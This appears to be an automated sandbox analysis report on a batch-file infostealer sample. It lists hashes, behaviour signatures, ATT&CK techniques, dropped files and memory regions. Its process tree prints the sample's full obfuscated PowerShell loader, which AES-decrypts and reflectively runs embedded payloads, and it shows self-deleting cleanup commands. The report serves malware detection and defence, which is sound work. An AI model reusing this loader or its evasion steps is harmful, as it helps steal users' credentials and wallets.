30d31df1b76896da37835c28f5a2fe771a2781c60785f2ef6a85fdda65d003b6

General

Target

strbase.bat
Size

90KB
MD5

4b6dfa11b969cfcb073ef3c3e8d06f3f
SHA1

39334b926e1f7a34e0cfba9041b3bb2db90b7427
SHA256

30d31df1b76896da37835c28f5a2fe771a2781c60785f2ef6a85fdda65d003b6
SHA512

4de4da5b37723e3ffb71ada1d462505ce872e171f3a18adbf6f55d584731a035198bcd94a17f6f559a8c6771bf7d79d4183ef028fd17322455c192709844442a
SSDEEP

1536:wsN03mpwRUGZeGhcAZORteK6IaqnOTtHTb5LW/NjoPqKvNnyOyADTrv3TzF1KPKb:XGh59c73aqETNW1joPqKl0ADTrfTziPE

Score

8^/10

discovery spyware stealer

Malware Config

Signatures

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	strbase.bat.exe

Executes dropped EXE 1 IoCs

pid	Process
940	strbase.bat.exe

Loads dropped DLL 2 IoCs

pid	Process
940	strbase.bat.exe
940	strbase.bat.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	strbase.bat.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	strbase.bat.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2196	timeout.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
940	strbase.bat.exe
940	strbase.bat.exe
224	powershell.exe
224	powershell.exe
940	strbase.bat.exe
940	strbase.bat.exe
224	powershell.exe
224	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	940	strbase.bat.exe
Token: SeDebugPrivilege	224	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 3740	5100	cmd.exe	83
PID 5100 wrote to memory of 3740	5100	cmd.exe	83
PID 3740 wrote to memory of 940	3740	cmd.exe	85
PID 3740 wrote to memory of 940	3740	cmd.exe	85
PID 3740 wrote to memory of 940	3740	cmd.exe	85
PID 940 wrote to memory of 224	940	strbase.bat.exe	86
PID 940 wrote to memory of 224	940	strbase.bat.exe	86
PID 940 wrote to memory of 224	940	strbase.bat.exe	86
PID 940 wrote to memory of 2240	940	strbase.bat.exe	89
PID 940 wrote to memory of 2240	940	strbase.bat.exe	89
PID 940 wrote to memory of 2240	940	strbase.bat.exe	89
PID 2240 wrote to memory of 2196	2240	cmd.exe	91
PID 2240 wrote to memory of 2196	2240	cmd.exe	91
PID 2240 wrote to memory of 2196	2240	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\strbase.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\strbase.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3740
- - C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe
    "C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe" -w hidden -c $spOZ='LPuJyoadPuJy'.Replace('PuJy', '');$Bxlv='RePuJyadPuJyLinePuJysPuJy'.Replace('PuJy', '');$sSSd='ElPuJyemePuJyntAPuJytPuJy'.Replace('PuJy', '');$Byqx='GetCPuJyurPuJyrenPuJytPrPuJyoPuJycesPuJysPuJy'.Replace('PuJy', '');$ZwVV='EnPuJytPuJyryPuJyPoiPuJynPuJytPuJy'.Replace('PuJy', '');$XmDO='ChaPuJyngePuJyExPuJytensPuJyionPuJy'.Replace('PuJy', '');$GBcu='MPuJyaPuJyiPuJynMPuJyoPuJyduPuJylePuJy'.Replace('PuJy', '');$UsMf='SpPuJylitPuJy'.Replace('PuJy', '');$YePE='InPuJyvoPuJykePuJy'.Replace('PuJy', '');$RVIV='TPuJyranPuJysfPuJyorPuJymFPuJyinaPuJylBlPuJyocPuJykPuJy'.Replace('PuJy', '');$XeqM='CPuJyreaPuJytPuJyeDPuJyecPuJyrypPuJytorPuJy'.Replace('PuJy', '');$pzlJ='FrPuJyomBPuJyaPuJysePuJy64SPuJytriPuJyngPuJy'.Replace('PuJy', '');function Jzrml($PMuKV){$XwQuF=[System.Security.Cryptography.Aes]::Create();$XwQuF.Mode=[System.Security.Cryptography.CipherMode]::CBC;$XwQuF.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$XwQuF.Key=[System.Convert]::$pzlJ('h+p/35NU84iyyTJabcW4kjSTK6w7kVdJaQA9XrlPHEA=');$XwQuF.IV=[System.Convert]::$pzlJ('D27olZ2EF9BimhFWvpUs9Q==');$YUhkF=$XwQuF.$XeqM();$FpcTB=$YUhkF.$RVIV($PMuKV,0,$PMuKV.Length);$YUhkF.Dispose();$XwQuF.Dispose();$FpcTB;}function UHRsh($PMuKV){$EFYQB=New-Object System.IO.MemoryStream(,$PMuKV);$MbYQz=New-Object System.IO.MemoryStream;$IOVZM=New-Object System.IO.Compression.GZipStream($EFYQB,[IO.Compression.CompressionMode]::Decompress);$IOVZM.CopyTo($MbYQz);$IOVZM.Dispose();$EFYQB.Dispose();$MbYQz.Dispose();$MbYQz.ToArray();}$FtNSX=[System.Linq.Enumerable]::$sSSd([System.IO.File]::$Bxlv([System.IO.Path]::$XmDO([System.Diagnostics.Process]::$Byqx().$GBcu.FileName, $null)), 1);$PhYyL=$FtNSX.Substring(2).$UsMf(':');$jvfSk=UHRsh (Jzrml ([Convert]::$pzlJ($PhYyL[0])));$oGBZR=UHRsh (Jzrml ([Convert]::$pzlJ($PhYyL[1])));[System.Reflection.Assembly]::$spOZ([byte[]]$oGBZR).$ZwVV.$YePE($null,$null);[System.Reflection.Assembly]::$spOZ([byte[]]$jvfSk).$ZwVV.$YePE($null,$null);
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:940
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(940);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:224
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe" & del "C:\ProgramData\*.dll"" & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2240
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:2196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\mozglue.dll

Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
C:\ProgramData\nss3.dll

Filesize
2.0MB

MD5
1cc453cdf74f31e4d913ff9c10acdde2

SHA1
6e85eae544d6e965f15fa5c39700fa7202f3aafe

SHA256
ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

SHA512
dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
169a7325552fb7baa843fde09b73f1a3

SHA1
f37dc39980a263e4b61edd08c46919b940f78faa

SHA256
ca2abbe291fdbda83932930a4e765299e42d856b6c54fb1206876832e7e01083

SHA512
4aa399672b835f4496c715d45a4010c5df49b5f3e8134505bc85f1b588f1b71f49dda645db0578fba468ca3c2ffc26e71dac8cc9504015af6ebb801e61d67c2d

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0wyvh0lz.eav.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\strbase.bat.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

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memory/224-246-0x0000000002840000-0x0000000002850000-memory.dmp

Filesize
64KB

Download
memory/224-245-0x0000000007BB0000-0x0000000008154000-memory.dmp

Filesize
5.6MB

Download
memory/224-244-0x0000000006860000-0x0000000006882000-memory.dmp

Filesize
136KB

Download
memory/224-243-0x0000000007560000-0x00000000075F6000-memory.dmp

Filesize
600KB

Download
memory/224-174-0x0000000002840000-0x0000000002850000-memory.dmp

Filesize
64KB

Download
memory/940-158-0x0000000007EF0000-0x000000000856A000-memory.dmp

Filesize
6.5MB

Download
memory/940-180-0x0000000004E20000-0x0000000004E30000-memory.dmp

Filesize
64KB

Download
memory/940-157-0x0000000004E20000-0x0000000004E30000-memory.dmp

Filesize
64KB

Download
memory/940-155-0x00000000063B0000-0x00000000064B2000-memory.dmp

Filesize
1.0MB

Download
memory/940-159-0x0000000006AC0000-0x0000000006ADA000-memory.dmp

Filesize
104KB

Download
memory/940-154-0x0000000005CB0000-0x0000000005CC0000-memory.dmp

Filesize
64KB

Download
memory/940-162-0x0000000000400000-0x0000000000629000-memory.dmp

Filesize
2.2MB

Download
memory/940-144-0x0000000005CD0000-0x0000000005D36000-memory.dmp

Filesize
408KB

Download
memory/940-175-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/940-156-0x0000000005180000-0x000000000519E000-memory.dmp

Filesize
120KB

Download
memory/940-231-0x0000000004E20000-0x0000000004E30000-memory.dmp

Filesize
64KB

Download
memory/940-143-0x0000000005BB0000-0x0000000005C16000-memory.dmp

Filesize
408KB

Download
memory/940-142-0x0000000005B10000-0x0000000005B32000-memory.dmp

Filesize
136KB

Download
memory/940-141-0x0000000005340000-0x00000000053C2000-memory.dmp

Filesize
520KB

Download
memory/940-140-0x0000000004E20000-0x0000000004E30000-memory.dmp

Filesize
64KB

Download
memory/940-139-0x00000000054E0000-0x0000000005B08000-memory.dmp

Filesize
6.2MB

Download
memory/940-138-0x0000000004E20000-0x0000000004E30000-memory.dmp

Filesize
64KB

Download
memory/940-137-0x0000000004E70000-0x0000000004EA6000-memory.dmp

Filesize
216KB

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads